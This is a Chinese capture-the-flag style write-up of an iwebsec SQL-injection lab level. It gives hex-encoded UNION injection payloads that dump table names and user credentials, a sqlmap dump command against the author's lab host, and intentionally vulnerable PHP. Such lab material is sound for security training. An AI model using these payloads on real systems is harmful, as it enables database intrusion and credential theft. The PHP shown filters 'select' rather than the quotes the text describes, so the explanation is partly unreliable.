01、题目分析
这里对单引号双引号啥的进行了过滤,可以采用16进制编码进行绕过
02、手工注入
这个和上次的双重url编码有异曲同工之妙,不过这个编码就简单了,直接十六进制编码即可,这里采用的编码软件是CaptfEncoder-win-x64-3.1.2.exe,16进制编码主要是在引号方面
-- 查询行数
?id=1 order by 3
-- id=-1就是不显示内容
-- 查询回显
?id=-1 union select 1,2,3
-- 暴库
?id=-1 union select 1,2,database()
-- 暴表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'
-- 前几条正常注入并没有报错,一直到这个暴表名的时候, '\'iwebsec\'出现了报错,这样我们就换一种方法,改为database()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
-- 暴字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
-- 这里会报错,因此我们把user编码成16进制0x7573657273
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
-- 暴数据
?id=1 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)
02、工具注入
还有什么比有工具有脚本更美妙的呢,直接梭哈
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/11.php?id=1" --current-db --dump --batch --tamper=hex2char
03、代码分析
<?php
if(isset($_GET['id'])){
// 检查是否包含 "select",如果存在则终止程序并输出错误消息
if (preg_match('/select/', $_GET["id"])) {
die("ERROR");
}else{
// 对 id 参数进行解码
$id = urldecode($_GET['id']);
// 构造 SQL 查询语句
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
// 执行查询
$result=mysql_query($sql);
}
}else{
// 如果没有提供 id 参数,则退出程序
exit();
}
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
// 循环遍历查询结果,并输出到表格中
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
}
echo "</table>";
}
else
{
// 输出 MySQL 错误信息
// echo '<font color= "#FFFFFF">';
print_r(mysql_error());
// echo "</font>";
}
// 导入 footer.php
require_once '../footer.php';
?>
标签:11,十六进制,编码,--,echo,union,sql,id,select
From: https://www.cnblogs.com/bdrwmy/p/17641465.html